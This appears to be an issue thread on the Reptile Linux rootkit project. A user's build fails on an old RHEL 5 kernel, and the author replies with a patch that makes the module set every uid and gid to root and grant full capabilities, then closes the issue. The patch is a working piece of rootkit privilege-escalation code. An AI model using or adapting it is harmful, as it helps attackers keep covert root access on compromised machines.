Hello. I am trying to install the tool on a RedHat EL 5.11 ( Tikanga ) .

I get the following.

make EXTRA_CFLAGS="-Dx86_64" -C /lib/modules/2.6.18-398.el5/build M=/tmp/Reptile modules make[1]: Entering directory /usr/src/kernels/2.6.18-398.el5-x86_64' CC [M] /tmp/Reptile/rep_mod.o /tmp/Reptile/rep_mod.c:7:24: error: linux/cred.h: No such file or directory /tmp/Reptile/rep_mod.c: In function 'l33t_setreuid': /tmp/Reptile/rep_mod.c:415: error: implicit declaration of function 'commit_creds' /tmp/Reptile/rep_mod.c:415: error: implicit declaration of function 'prepare_kernel_cred' make[2]: *** [/tmp/Reptile/rep_mod.o] Error 1 make[1]: *** [_module_/tmp/Reptile] Error 2 make[1]: Leaving directory/usr/src/kernels/2.6.18-398.el5-x86_64' make: *** [all] Error 2

Now I see, you are trying to install in a too old Linux. I wrote Reptile to run in Linux versions from 2.6.32. So maybe you can get some issues in versions older than that. To be able to solve that you must debug Reptile on this version.

[f0rb1dd3n]

In old Reptile Version, try the follow:

comment the line with #include <linux/cred.h> replace the line with commit_creds(prepare_kernel_cred(0)) to:

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
            current->uid = 0;
            current->suid = 0;
            current->euid = 0;
            current->gid = 0;
            current->egid = 0;
            current->fsuid = 0;
            current->fsgid = 0;
            cap_set_full(current->cap_effective);
            cap_set_full(current->cap_inheritable);
            cap_set_full(current->cap_permitted);
#else
            commit_creds(prepare_kernel_cred(0));
#endif

Tell me if it is going to work, because if not, I will test it.

[f0rb1dd3n]

So, Reptile still doesnt support kernels older than 2.6.32. Maybe in the future I can add this, but for now I am closing this issue.

Thank You.

Sorry my late reply. Will test that and come back.

my best.
